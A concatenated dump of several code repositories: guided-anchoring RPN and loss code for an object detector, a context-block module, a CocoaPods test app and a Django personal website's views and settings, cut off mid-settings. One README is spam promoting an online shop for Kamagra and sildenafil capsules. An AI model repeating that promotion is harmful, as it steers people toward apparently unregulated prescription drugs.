#TODO: add mask t = self.feature_adaption(t, shape_pred) logits.append(self.cls_logits(t)) bbox_reg.append(self.bbox_pred(t)) return logits, bbox_reg, shapes, locs class GARPNModule(torch.nn.Module): """ Module for RPN computation. Takes feature maps from the backbone and RPN proposals and losses. Works for both FPN and non-FPN. """ def __init__(self, cfg, in_channels): super(GARPNModule, self).__init__() self.cfg = cfg.clone() anchor_generator = make_ga_anchor_generator(cfg) rpn_head = registry.RPN_HEADS[cfg.MODEL.RPN.RPN_HEAD] head = rpn_head( cfg, in_channels, 1 ) #rpn_box_coder = BoxCoder(weights=(1.0, 1.0, 1.0, 1.0)) rpn_box_coder = BoxCoder(weights=cfg.MODEL.RPN.GA.TARGET_WEIGHTS) anchor_box_coder = BoxCoder(weights=cfg.MODEL.RPN.GA.ANCHOR_WEIGHTS) box_selector_train = make_rpn_postprocessor(cfg, rpn_box_coder, is_train=True) box_selector_test = make_rpn_postprocessor(cfg, rpn_box_coder, is_train=False) loss_evaluator = make_ga_rpn_loss_evaluator(cfg, rpn_box_coder, anchor_box_coder) self.anchor_generator = anchor_generator self.head = head self.box_selector_train = box_selector_train self.box_selector_test = box_selector_test self.loss_evaluator = loss_evaluator def forward(self, images, features, targets=None): """ Arguments: images (ImageList): images for which we want to compute the predictions features (list[Tensor]): features computed from the images that are used for computing the predictions. Each tensor in the list correspond to different feature levels targets (list[BoxList): ground-truth boxes present in the image (optional) Returns: boxes (list[BoxList]): the predicted boxes from the RPN, one BoxList per image. losses (dict[Tensor]): the losses for the model during training. During testing, it is an empty dict. """ objectness, rpn_box_regression, shapes, locs = self.head(features) #anchors = self.anchor_generator(images, features, shapes, locs) square_anchors, guided_anchors, loc_masks = self.anchor_generator(images, features, shapes, locs) if self.training: approx_anchors = self.anchor_generator.get_sampled_approxs(images, features) return self._forward_train(square_anchors, guided_anchors, loc_masks, approx_anchors, objectness, rpn_box_regression, shapes, locs, targets) else: #tot = len(objectness) #for i in range(tot): # locs_mask = locs[i] >= 0.01 # locs_mask = locs_mask.float() # objectness[i] = objectness[i] - (1 - locs_mask) * 13 return self._forward_test(guided_anchors, objectness, rpn_box_regression) def _forward_train(self, square_anchors, guided_anchors, loc_masks, approx_anchors, objectness, rpn_box_regression, shapes, locs, targets): with torch.no_grad(): boxes = self.box_selector_train( guided_anchors, objectness, rpn_box_regression, targets ) loss_objectness, loss_rpn_box_reg, loss_shapes, loss_locs = self.loss_evaluator( square_anchors, guided_anchors, loc_masks, approx_anchors, objectness, rpn_box_regression, shapes, locs, targets ) losses = { "loss_objectness": loss_objectness, "loss_rpn_box_reg": loss_rpn_box_reg, "loss_shapes": loss_shapes, "loss_locs": loss_locs } return boxes, losses def _forward_test(self, anchors, objectness, rpn_box_regression): boxes = self.box_selector_test(anchors, objectness, rpn_box_regression) if self.cfg.MODEL.RPN_ONLY: # For end-to-end models, the RPN proposals are an intermediate state # and don't bother to sort them in decreasing score order. For RPN-only # models, the proposals are the final output and we return them in # high-to-low confidence order. inds = [ box.get_field("objectness").sort(descending=True)[1] for box in boxes ] boxes = [box[ind] for box, ind in zip(boxes, inds)] return boxes, {} def build_ga_rpn(cfg, in_channels): """ This gives the gist of it. Not super important because it doesn't change as much """ return GARPNModule(cfg, in_channels) ``` loss.py ```# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. """ This file contains specific functions for computing losses on the RPN file """ import torch from torch.nn import functional as F from .utils import concat_box_prediction_layers, concat_locs, concat_shapes from ..balanced_positive_negative_sampler import BalancedPositiveNegativeSampler from ..utils import cat from maskrcnn_benchmark.layers import smooth_l1_loss, SigmoidFocalLoss, bounded_iou_loss from maskrcnn_benchmark.modeling.matcher import Matcher from maskrcnn_benchmark.structures.boxlist_ops import boxlist_iou from maskrcnn_benchmark.structures.boxlist_ops import cat_boxlist, cat_boxlist_broad class RPNLossComputation(object): """ This class computes the RPN loss. """ def __init__(self, proposal_matcher, fg_bg_sampler, box_coder, generate_labels_func): """ Arguments: proposal_matcher (Matcher) fg_bg_sampler (BalancedPositiveNegativeSampler) box_coder (BoxCoder) """ # self.target_preparator = target_preparator self.proposal_matcher = proposal_matcher self.fg_bg_sampler = fg_bg_sampler self.box_coder = box_coder self.copied_fields = [] self.generate_labels_func = generate_labels_func self.discard_cases = ['not_visibility', 'between_thresholds'] def match_targets_to_anchors(self, anchor, target, copied_fields=[]): match_quality_matrix = boxlist_iou(target, anchor) matched_idxs = self.proposal_matcher(match_quality_matrix) # RPN doesn't need any fields from target # for creating the labels, so clear them all target = target.copy_with_fields(copied_fields) # get the targets corresponding GT for each anchor # NB: need to clamp the indices because we can have a single # GT in the image, and matched_idxs can be -2, which goes # out of bounds matched_targets = target[matched_idxs.clamp(min=0)] matched_targets.add_field("matched_idxs", matched_idxs) return matched_targets def prepare_targets(self, anchors, targets): labels = [] regression_targets = [] for anchors_per_image, targets_per_image in zip(anchors, targets): matched_targets = self.match_targets_to_anchors( anchors_per_image, targets_per_image, self.copied_fields ) matched_idxs = matched_targets.get_field("matched_idxs") labels_per_image = self.generate_labels_func(matched_targets) labels_per_image = labels_per_image.to(dtype=torch.float32) # Background (negative examples) bg_indices = matched_idxs == Matcher.BELOW_LOW_THRESHOLD labels_per_image[bg_indices] = 0 # discard anchors that go out of the boundaries of the image if "not_visibility" in self.discard_cases: labels_per_image[~anchors_per_image.get_field("visibility")] = -1 # discard indices that are between thresholds if "between_thresholds" in self.discard_cases: inds_to_discard = matched_idxs == Matcher.BETWEEN_THRESHOLDS labels_per_image[inds_to_discard] = -1 # compute regression targets regression_targets_per_image = self.box_coder.encode( matched_targets.bbox, anchors_per_image.bbox ) labels.append(labels_per_image) regression_targets.append(regression_targets_per_image) return labels, regression_targets def __call__(self, anchors, objectness, box_regression, targets): """ Arguments: anchors (list[BoxList]) objectness (list[Tensor]) box_regression (list[Tensor]) targets (list[BoxList]) Returns: objectness_loss (Tensor) box_loss (Tensor """ anchors = [cat_boxlist(anchors_per_image) for anchors_per_image in anchors] labels, regression_targets = self.prepare_targets(anchors, targets) sampled_pos_inds, sampled_neg_inds = self.fg_bg_sampler(labels) sampled_pos_inds = torch.nonzero(torch.cat(sampled_pos_inds, dim=0)).squeeze(1) sampled_neg_inds = torch.nonzero(torch.cat(sampled_neg_inds, dim=0)).squeeze(1) sampled_inds = torch.cat([sampled_pos_inds, sampled_neg_inds], dim=0) objectness, box_regression = \ concat_box_prediction_layers(objectness, box_regression) objectness = objectness.squeeze() labels = torch.cat(labels, dim=0) regression_targets = torch.cat(regression_targets, dim=0) box_loss = smooth_l1_loss( box_regression[sampled_pos_inds], regression_targets[sampled_pos_inds], beta=1.0 / 9, size_average=False, ) / (sampled_inds.numel()) objectness_loss = F.binary_cross_entropy_with_logits( objectness[sampled_inds], labels[sampled_inds] ) return objectness_loss, box_loss # This function should be overwritten in RetinaNet def generate_rpn_labels(matched_targets): matched_idxs = matched_targets.get_field("matched_idxs") labels_per_image = matched_idxs >= 0 return labels_per_image def make_rpn_loss_evaluator(cfg, box_coder): matcher = Matcher( cfg.MODEL.RPN.FG_IOU_THRESHOLD, cfg.MODEL.RPN.BG_IOU_THRESHOLD, allow_low_quality_matches=True, ) fg_bg_sampler = BalancedPositiveNegativeSampler( cfg.MODEL.RPN.BATCH_SIZE_PER_IMAGE, cfg.MODEL.RPN.POSITIVE_FRACTION ) loss_evaluator = RPNLossComputation( matcher, fg_bg_sampler, box_coder, generate_rpn_labels ) return loss_evaluator def calc_region(bbox, ratio, featmap_size=None): x1 = torch.round((1 - ratio) * bbox[0] + ratio * bbox[2]).long() y1 = torch.round((1 - ratio) * bbox[1] + ratio * bbox[3]).long() x2 = torch.round(ratio * bbox[0] + (1 - ratio) * bbox[2]).long() y2 = torch.round(ratio * bbox[1] + (1 - ratio) * bbox[3]).long() if featmap_size is not None: x1 = x1.clamp(min=0, max=featmap_size[1] - 1) y1 = y1.clamp(min=0, max=featmap_size[0] - 1) x2 = x2.clamp(min=0, max=featmap_size[1] - 1) y2 = y2.clamp(min=0, max=featmap_size[0] - 1) return x1, y1, x2, y2 class GARPNLossComputation(object): """ This class computes the RPN loss. """ def __init__(self, proposal_matcher, fg_bg_sampler, box_coder, anchor_box_coder, generate_labels_func, cfg): """ Arguments: proposal_matcher (Matcher) fg_bg_sampler (BalancedPositiveNegativeSampler) box_coder (BoxCoder) """ # self.target_preparator = target_preparator self.proposal_matcher = proposal_matcher self.fg_bg_sampler = fg_bg_sampler self.box_coder = box_coder self.anchor_box_coder = anchor_box_coder self.copied_fields = [] self.generate_labels_func = generate_labels_func self.discard_cases = ['not_visibility', 'between_thresholds'] self.cfg = cfg self.octave_base_scale = cfg.MODEL.RPN.GA.OCTAVE_BASE_SCALE self.anchor_strides = cfg.MODEL.RPN.GA.ANCHOR_STRIDES self.center_ratio = cfg.MODEL.RPN.GA.CENTER_RATIO self.ignore_ratio = cfg.MODEL.RPN.GA.IGNORE_RATIO self.num_approx_anchors_per_location = len(cfg.MODEL.RPN.GA.ASPECT_RATIOS) * cfg.MODEL.RPN.GA.SCALES_PER_OCTAVE self.loss_loc_fn = SigmoidFocalLoss(gamma=2.0, alpha=0.25) def match_targets_to_anchors(self, anchor, target, copied_fields=[]): match_quality_matrix = boxlist_iou(target, anchor) matched_idxs = self.proposal_matcher(match_quality_matrix) # RPN doesn't need any fields from target # for creating the labels, so clear them all target = target.copy_with_fields(copied_fields) # get the targets corresponding GT for each anchor # NB: need to clamp the indices because we can have a single # GT in the image, and matched_idxs can be -2, which goes # out of bounds matched_targets = target[matched_idxs.clamp(min=0)] matched_targets.add_field("matched_idxs", matched_idxs) return matched_targets def ga_loc_target(self, targets, featmap_sizes): r1 = (1 - self.center_ratio) / 2 r2 = (1 - self.ignore_ratio) / 2 all_loc_targets = [] all_loc_weights = [] all_ignore_map = [] img_per_gpu = len(targets) num_lvls = len(featmap_sizes) for lvl_id in range(num_lvls): size = featmap_sizes[lvl_id] loc_targets = torch.zeros(img_per_gpu, 1, size[0], size[1], device=targets[0].bbox.device, dtype=torch.int32) loc_weights = torch.full_like(loc_targets, -1).float() ignore_map = torch.zeros_like(loc_targets) all_loc_targets.append(loc_targets) all_loc_weights.append(loc_weights) all_ignore_map.append(ignore_map) for img_id, targets_per_image, in enumerate(targets): gt_bboxes = targets_per_image.bbox scale = torch.sqrt((gt_bboxes[:, 2] - gt_bboxes[:, 0] + 1) * (gt_bboxes[:, 3] - gt_bboxes[:, 1] + 1)) min_anchor_size = scale.new_full( (1, ), float(self.octave_base_scale * self.anchor_strides[0])) target_lvls = torch.floor( torch.log2(scale) - torch.log2(min_anchor_size) + 0.5) target_lvls = target_lvls.clamp(min=0, max=num_lvls - 1).long() for gt_id in range(gt_bboxes.size(0)): lvl = target_lvls[gt_id].item() gt_ = gt_bboxes[gt_id, :4] / self.anchor_strides[lvl] ignore_x1, ignore_y1, ignore_x2, ignore_y2 = calc_region(gt_, r2, featmap_sizes[lvl]) ctr_x1, ctr_y1, ctr_x2, ctr_y2 = calc_region(gt_, r1, featmap_sizes[lvl]) all_loc_targets[lvl][img_id, 0, ctr_y1: ctr_y2 + 1, ctr_x1: ctr_x2 + 1] = 1 all_loc_weights[lvl][img_id, 0, ignore_y1: ignore_y2 + 1, ignore_x1: ignore_x2 + 1] = 0 all_loc_weights[lvl][img_id, 0, ctr_y1: ctr_y2 + 1, ctr_x1: ctr_x2 + 1] = 1 if lvl > 0: d_lvl = lvl - 1 gt_ = gt_bboxes[gt_id, :4] / self.anchor_strides[d_lvl] ignore_x1, ignore_y1, ignore_x2, ignore_y2 = calc_region(gt_, r2, featmap_sizes[d_lvl]) all_ignore_map[d_lvl][img_id, 0, ignore_y1: ignore_y2 + 1, ignore_x1: ignore_x2 + 1] = 1 if lvl < num_lvls - 1: u_lvl = lvl + 1 gt_ = gt_bboxes[gt_id, :4] / self.anchor_strides[u_lvl] ignore_x1, ignore_y1, ignore_x2, ignore_y2 = calc_region(gt_, r2, featmap_sizes[u_lvl]) all_ignore_map[u_lvl][img_id, 0, ignore_y1: ignore_y2 + 1, ignore_x1: ignore_x2 + 1] = 1 for lvl_id in range(num_lvls): all_loc_weights[lvl_id][(all_loc_weights[lvl_id] < 0) & (all_ignore_map[lvl_id] > 0)] = 0 all_loc_weights[lvl_id][all_loc_weights[lvl_id] < 0] = 0.1 loc_avg_factor = sum( [t.size(0) * t.size(-1) * t.size(-2) for t in all_loc_targets]) / 200 return all_loc_targets, all_loc_weights, loc_avg_factor def ga_shape_target(self, square_anchors, approx_anchors, targets): shape_targets = [] shape_weights = [] for square_anchors_per_image, approx_anchors_per_image, targets_per_image in zip(square_anchors, approx_anchors, targets): match_quality_matrix = boxlist_iou(targets_per_image, approx_anchors_per_image) num_gt = targets_per_image.bbox.shape[0] match_quality_matrix = match_quality_matrix.view(num_gt, -1, self.num_approx_anchors_per_location) match_quality_matrix, _ = match_quality_matrix.max(dim=2) matched_idxs = self.proposal_matcher(match_quality_matrix) target = targets_per_image.copy_with_fields(self.copied_fields) matched_targets = target[matched_idxs.clamp(min=0)] matched_targets.add_field("matched_idxs", matched_idxs) weights = self.generate_labels_func(matched_targets) weights = weights.to(dtype=torch.float32) bg_indices = matched_idxs == Matcher.BELOW_LOW_THRESHOLD weights[bg_indices] = 0 #if "not_visibility" in self.discard_cases: # weights[~square_anchors_per_image.get_field("visibility")] = 0 #if "between_thresholds" in self.discard_cases: # inds_to_discard = matched_idxs == Matcher.BETWEEN_THRESHOLDS # weights[inds_to_discard] = 0 shape_targets_per_image = matched_targets.bbox shape_targets.append(shape_targets_per_image) shape_weights.append(weights) return shape_targets, shape_weights def prepare_targets(self, anchors, targets): labels = [] regression_targets = [] for anchors_per_image, targets_per_image in zip(anchors, targets): matched_targets = self.match_targets_to_anchors( anchors_per_image, targets_per_image, self.copied_fields ) matched_idxs = matched_targets.get_field("matched_idxs") labels_per_image = self.generate_labels_func(matched_targets) labels_per_image = labels_per_image.to(dtype=torch.float32) # Background (negative examples) bg_indices = matched_idxs == Matcher.BELOW_LOW_THRESHOLD labels_per_image[bg_indices] = 0 # discard anchors that go out of the boundaries of the image if "not_visibility" in self.discard_cases: labels_per_image[~anchors_per_image.get_field("visibility")] = -1 # discard indices that are between thresholds if "between_thresholds" in self.discard_cases: inds_to_discard = matched_idxs == Matcher.BETWEEN_THRESHOLDS labels_per_image[inds_to_discard] = -1 # compute regression targets regression_targets_per_image = self.box_coder.encode( matched_targets.bbox, anchors_per_image.bbox ) labels.append(labels_per_image) regression_targets.append(regression_targets_per_image) return labels, regression_targets def __call__(self, square_anchors, guided_anchors, loc_masks, approx_anchors, objectness, box_regression, shapes, locs, targets): """ Arguments: anchors (list[BoxList]) objectness (list[Tensor]) box_regression (list[Tensor]) targets (list[BoxList]) Returns: objectness_loss (Tensor) box_loss (Tensor """ featmap_sizes = [feat.shape[2:] for feat in objectness] loc_targets, loc_weights, loc_avg_factors = self.ga_loc_target( targets, featmap_sizes ) locs, loc_targets, loc_weights = concat_locs(locs, loc_targets, loc_weights) loc_loss = self.loss_loc_fn.forward_weights(locs, loc_targets, loc_weights) / loc_avg_factors square_anchors = [cat_boxlist(anchors_per_image) for anchors_per_image in square_anchors] approx_anchors = [cat_boxlist(anchors_per_image) for anchors_per_image in approx_anchors] shape_targets, shape_weights = self.ga_shape_target( square_anchors, approx_anchors, targets ) shapes = concat_shapes(shapes) shape_pos_inds, shape_neg_inds = self.fg_bg_sampler(shape_weights) shape_pos_inds = torch.nonzero(torch.cat(shape_pos_inds, dim=0)).squeeze(1) shape_neg_inds = torch.nonzero(torch.cat(shape_neg_inds, dim=0)).squeeze(1) anchor_total_num = shape_pos_inds.shape[0] + shape_neg_inds.shape[0] shape_targets = torch.cat(shape_targets, dim=0) square_anchors = cat_boxlist_broad(square_anchors) shapes = shapes[shape_pos_inds] shape_targets = shape_targets[shape_pos_inds] square_anchors = square_anchors[shape_pos_inds] shapes = self.anchor_box_coder.decode( shapes, square_anchors.bbox ) shape_loss = bounded_iou_loss( shapes, shape_targets, beta=0.2, size_average=False ) / anchor_total_num anchors = [cat_boxlist(anchors_per_image) for anchors_per_image in guided_anchors] labels, regression_targets = self.prepare_targets(anchors, targets) sampled_pos_inds, sampled_neg_inds = self.fg_bg_sampler(labels) sampled_pos_inds = torch.nonzero(torch.cat(sampled_pos_inds, dim=0)).squeeze(1) sampled_neg_inds = torch.nonzero(torch.cat(sampled_neg_inds, dim=0)).squeeze(1) sampled_inds = torch.cat([sampled_pos_inds, sampled_neg_inds], dim=0) objectness, box_regression = \ concat_box_prediction_layers(objectness, box_regression) objectness = objectness.squeeze() labels = torch.cat(labels, dim=0) regression_targets = torch.cat(regression_targets, dim=0) box_loss = smooth_l1_loss( box_regression[sampled_pos_inds], regression_targets[sampled_pos_inds], beta=1.0 / 9, size_average=False, ) / (sampled_inds.numel()) objectness_loss = F.binary_cross_entropy_with_logits( objectness[sampled_inds], labels[sampled_inds] ) return objectness_loss, box_loss, shape_loss, loc_loss # This function should be overwritten in RetinaNet def generate_garpn_labels(matched_targets): matched_idxs = matched_targets.get_field("matched_idxs") labels_per_image = matched_idxs >= 0 return labels_per_image def make_ga_rpn_loss_evaluator(cfg, box_coder, anchor_box_coder): matcher = Matcher( cfg.MODEL.RPN.FG_IOU_THRESHOLD, cfg.MODEL.RPN.BG_IOU_THRESHOLD, allow_low_quality_matches=True, ) fg_bg_sampler = BalancedPositiveNegativeSampler( cfg.MODEL.RPN.BATCH_SIZE_PER_IMAGE, cfg.MODEL.RPN.POSITIVE_FRACTION ) loss_evaluator = GARPNLossComputation( matcher, fg_bg_sampler, box_coder, anchor_box_coder, generate_rpn_labels, cfg ) return loss_evaluator ``` iou_loss.py ```# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. import torch from maskrcnn_benchmark.structures.boxlist_ops import boxlist_iou # TODO maybe push this to nn? def iou_loss(input, target, size_average=True): """ very similar to the smooth_l1_loss from pytorch, but with the extra beta parameter """ N = input.shape[0] M = target.shape[0] area1 = (input[:, 2] - input[:, 0] + 1) * (input[:, 3] - input[:, 1] + 1) area2 = (target[:, 2] - target[:, 0] + 1) * (target[:, 3] - target[:, 1] + 1) lt = torch.max(input[:, :2], target[:, :2]) rb = torch.min(input[:, 2:], target[:, 2:]) wh = (rb - lt + 1).clamp(min=0) inter = wh[:, 0] * wh[:, 1] ious = inter / (area1 + area2 - inter) loss = -ious.log() #if size_average: # return loss.mean() return loss.sum() def bounded_iou_loss(input, target, beta=0.2, eps=1e-3, size_average=True): pred_ctrx = (input[:, 0] + input[:, 2]) * 0.5 pred_ctry = (input[:, 1] + input[:, 3]) * 0.5 pred_w = input[:, 2] - input[:, 0] + 1 pred_h = input[:, 3] - input[:, 1] + 1 with torch.no_grad(): target_ctrx = (target[:, 0] + target[:, 2]) * 0.5 target_ctry = (target[:, 1] + target[:, 3]) * 0.5 target_w = target[:, 2] - target[:, 0] + 1 target_h = target[:, 3] - target[:, 1] + 1 dx = target_ctrx - pred_ctrx dy = target_ctry - pred_ctry loss_dx = 1 - torch.max( (target_w - 2 * dx.abs()) / (target_w + 2 * dx.abs() + eps), torch.zeros_like(dx)) loss_dy = 1 - torch.max( (target_h - 2 * dy.abs()) / (target_h + 2 * dy.abs() + eps), torch.zeros_like(dy)) loss_dw = 1 - torch.min(target_w / (pred_w + eps), pred_w / (target_w + eps)) loss_dh = 1 - torch.min(target_h / (pred_h + eps), pred_h / (target_h + eps)) loss_comb = torch.stack([loss_dx, loss_dy, loss_dw, loss_dh], dim=-1).view(loss_dx.size(0), -1) loss = torch.where(loss_comb < beta, 0.5 * loss_comb * loss_comb / beta, loss_comb - 0.5 * beta) if size_average: return loss.mean() return loss.sum()# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. import torch from maskrcnn_benchmark.structures.boxlist_ops import boxlist_iou # TODO maybe push this to nn? def iou_loss(input, target, size_average=True): """ very similar to the smooth_l1_loss from pytorch, but with the extra beta parameter """ N = input.shape[0] M = target.shape[0] area1 = (input[:, 2] - input[:, 0] + 1) * (input[:, 3] - input[:, 1] + 1) area2 = (target[:, 2] - target[:, 0] + 1) * (target[:, 3] - target[:, 1] + 1) lt = torch.max(input[:, :2], target[:, :2]) rb = torch.min(input[:, 2:], target[:, 2:]) wh = (rb - lt + 1).clamp(min=0) inter = wh[:, 0] * wh[:, 1] ious = inter / (area1 + area2 - inter) loss = -ious.log() #if size_average: # return loss.mean() return loss.sum() def bounded_iou_loss(input, target, beta=0.2, eps=1e-3, size_average=True): pred_ctrx = (input[:, 0] + input[:, 2]) * 0.5 pred_ctry = (input[:, 1] + input[:, 3]) * 0.5 pred_w = input[:, 2] - input[:, 0] + 1 pred_h = input[:, 3] - input[:, 1] + 1 with torch.no_grad(): target_ctrx = (target[:, 0] + target[:, 2]) * 0.5 target_ctry = (target[:, 1] + target[:, 3]) * 0.5 target_w = target[:, 2] - target[:, 0] + 1 target_h = target[:, 3] - target[:, 1] + 1 dx = target_ctrx - pred_ctrx dy = target_ctry - pred_ctry loss_dx = 1 - torch.max( (target_w - 2 * dx.abs()) / (target_w + 2 * dx.abs() + eps), torch.zeros_like(dx)) loss_dy = 1 - torch.max( (target_h - 2 * dy.abs()) / (target_h + 2 * dy.abs() + eps), torch.zeros_like(dy)) loss_dw = 1 - torch.min(target_w / (pred_w + eps), pred_w / (target_w + eps)) loss_dh = 1 - torch.min(target_h / (pred_h + eps), pred_h / (target_h + eps)) loss_comb = torch.stack([loss_dx, loss_dy, loss_dw, loss_dh], dim=-1).view(loss_dx.size(0), -1) loss = torch.where(loss_comb < beta, 0.5 * loss_comb * loss_comb / beta, loss_comb - 0.5 * beta) if size_average: return loss.mean() return loss.sum() ``` context_block.py ```import torch from torch import nn class ContextBlock(nn.Module): def __init__(self, inplanes, ratio, pooling_type='att', fusion_types=('channel_add', )): super(ContextBlock, self).__init__() assert pooling_type in ['avg', 'att'] assert isinstance(fusion_types, (list, tuple)) valid_fusion_types = ['channel_add', 'channel_mul'] assert all([f in valid_fusion_types for f in fusion_types]) assert len(fusion_types) > 0, 'at least one fusion should be used' self.inplanes = inplanes self.ratio = ratio self.planes = int(inplanes * ratio) self.pooling_type = pooling_type self.fusion_types = fusion_types if pooling_type == 'att': self.conv_mask = nn.Conv2d(inplanes, 1, kernel_size=1) self.softmax = nn.Softmax(dim=2) else: self.avg_pool = nn.AdaptiveAvePool2d(1) if 'channel_add' in fusion_types: self.channel_add_conv = nn.Sequential( nn.Conv2d(self.inplanes, self.planes, kernel_size=1), nn.LayerNorm([self.planes, 1, 1]), nn.ReLU(inplace=True), nn.Conv2d(self.planes, self.inplanes, kernel_size=1)) else: self.channel_add_conv = None if 'channel_mul' in fusion_types: self.channel_mul_conv = nn.Sequential( nn.Conv2d(self.inplanes, self.planes, kernel_size=1), nn.LayerNorm([self.planes, 1, 1]), nn.ReLU(inplace=True), nn.Conv2d(self.planes, self.inplanes, kernel_size=1)) else: self.channel_mul_conv = None self.reset_parameters() def reset_parameters(self): if self.pooling_type == 'att': nn.init.kaiming_uniform_(self.conv_mask.weight, a=1) nn.init.constant_(self.conv_mask.bias, 0) if self.channel_add_conv is not None: nn.init.kaiming_uniform_(self.channel_add_conv[0].weight, a=1) nn.init.constant_(self.channel_add_conv[0].bias, 0) nn.init.constant_(self.channel_add_conv[-1].weight, 0) nn.init.constant_(self.channel_add_conv[-1].bias, 0) if self.channel_mul_conv is not None: nn.init.kaiming_uniform_(self.channel_mul_conv[0].weight, a=1) nn.init.constant_(self.channel_mul_conv[0].bias, 0) nn.init.constant_(self.channel_mul_conv[-1].weight, 0) nn.init.constant_(self.channel_mul_conv[-1].bias, 0) def spatial_pool(self, x): batch, channel, height, width = x.size() if self.pooling_type == 'att': input_x = x.view(batch, channel, height * width) input_x = input_x.unsqueeze(1) context_mask = self.conv_mask(x).view(batch, 1, height * width) context_mask = self.softmax(context_mask) context_mask = context_mask.unsqueeze(-1) context = torch.matmul(input_x, context_mask) context = context.view(batch, channel, 1, 1) else: context = self.avg_pool(x) return context def forward(self, x): context = self.spatial_pool(x) out = x if self.channel_mul_conv is not None: channel_mul_term = torch.sigmoid(self.channel_mul_conv(context)) out = out * channel_mul_term if self.channel_add_conv is not None: channel_add_term = self.channel_add_conv(context) out = out + channel_add_term return out ```
zenith0044/kamagrashop.uk.com
zenith0044/kamagrashop.uk.com README.md ```kamagrashop.uk.com ================== kamagrashop.uk.com can become an online pharmacy which often enable you to purchase Kamagra capsules, Sildenafil Citrate as well as other capsules for men, at very affordable prices. ```
zenithlight/cocoapods-patch-test
zenithlight/cocoapods-patch-test Podfile ```plugin 'cocoapods-patch' use_frameworks! target 'cocoapods-patch-test' do project 'src/cocoapods-patch-test.xcodeproj' pod "AWSCore" end ``` cocoapods_patch_testApp.swift ```// // cocoapods_patch_testApp.swift // cocoapods-patch-test // // Created by Alexis Anand on 10/8/20. // import SwiftUI @main struct cocoapods_patch_testApp: App { var body: some Scene { WindowGroup { ContentView() } } } ``` Gemfile ```source 'https://rubygems.org' gem 'cocoapods' gem 'cocoapods-patch' ``` ContentView.swift ```// // ContentView.swift // cocoapods-patch-test // // Created by Alexis Anand on 10/8/20. // import SwiftUI struct ContentView: View { var body: some View { Text("Hello, world!") .padding() } } struct ContentView_Previews: PreviewProvider { static var previews: some View { ContentView() } } ```
zenofewords/zenofewords
zenofewords/zenofewords README.md ```# zenofewords Home ``` views.py ```from django.contrib.sites.shortcuts import get_current_site from django.views.generic import TemplateView class MetaMixin(TemplateView): def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) data = { 'meta_url': '{}://{}'.format(self.request.scheme, get_current_site(self.request)), 'meta_title': 'Dominik Zen', 'meta_author': 'Dominik Zen', 'meta_description': 'Dominik Zen\'s website', 'meta_image_alt': 'website logo', } context.update(data) return context class ContactView(MetaMixin): template_name = 'zenofewords/contact.html' class BioView(MetaMixin): template_name = 'zenofewords/bio.html' class WorkView(MetaMixin): template_name = 'zenofewords/work.html' class ThoughtsView(MetaMixin): template_name = 'zenofewords/thoughts.html' class HomeView(MetaMixin): template_name = 'zenofewords/home.html' ``` webpack.dev.js ```const path = require('path') const MiniCssExtractPlugin = require('mini-css-extract-plugin') const WebpackBundleTracker = require('webpack-bundle-tracker') module.exports = { mode: 'development', entry: { base: './static/javascript/base', pages: './static/javascript/pages', home: './static/javascript/home', queries: './static/javascript/queries', }, output: { filename: '[name]_[contenthash].js', path: path.resolve(__dirname, 'staticfiles/bundles'), publicPath: 'http://localhost:8080/static/bundles/', }, devtool: 'eval-source-map', devServer: { compress: true, hot: true, }, module: { rules: [ { test: /\.js$/, exclude: /node_modules/, use: { loader: 'babel-loader', options: { presets: ['@babel/preset-env'], } }, }, { test: /\.(sa|sc|c)ss$/, use: [ MiniCssExtractPlugin.loader, 'css-loader', 'sass-loader', ] }, ] }, plugins: [ new WebpackBundleTracker({ filename: './webpack-stats.json', }), new MiniCssExtractPlugin({ filename: '[name]_[contenthash].css', }), ], } ``` settings.py ```import os from dotenv import load_dotenv load_dotenv() BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) DEBUG = bool(os.getenv('DEBUG', False)) CSRF_COOKIE_HTTPONLY = not DEBUG CSRF_COOKIE_SECURE = not DEBUG SECURE_BROWSER_XSS_FILTER = not DEBUG SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') SECURE_SSL_REDIRECT = not DEBUG and bool(os.getenv('SECURE_SSL_REDIRECT', False)) SESSION_COOKIE_SECURE = not DEBUG SECRET_KEY = os.getenv('SECRET_KEY') ALLOWED_HOSTS = [host.strip() for host in os.getenv('ALLOWED_HOSTS').split(',')] INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'webpack_loader', 'zenofewords.apps.ZenofewordsConfig', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'zenofewords.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'zenofewords.wsgi.application' DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', 'NAME': os.getenv('DB_NAME'), 'USER': os.getenv('DB_USER'), 'PASSWORD': os.getenv('DB_PASSWORD'), 'HOST': os.getenv('DB_HOST'), 'PORT': os.getenv('DB_PORT'), 'CONN_MAX_AGE': 600, } } DEFAULT_AUTO_FIELD = 'django.db.models.AutoField' AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] LANGUAGE_CODE = 'en-us' TIME_ZONE = 'Europe/Zagreb' USE_I18N = True USE_L10N = True USE_TZ = True STATIC_URL = '/static/' STATIC_ROOT = 'staticfiles' STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'static'), ) MEDIA_URL = '/media/' MEDIA_ROOT = 'media' WEBPACK_LOADER = { 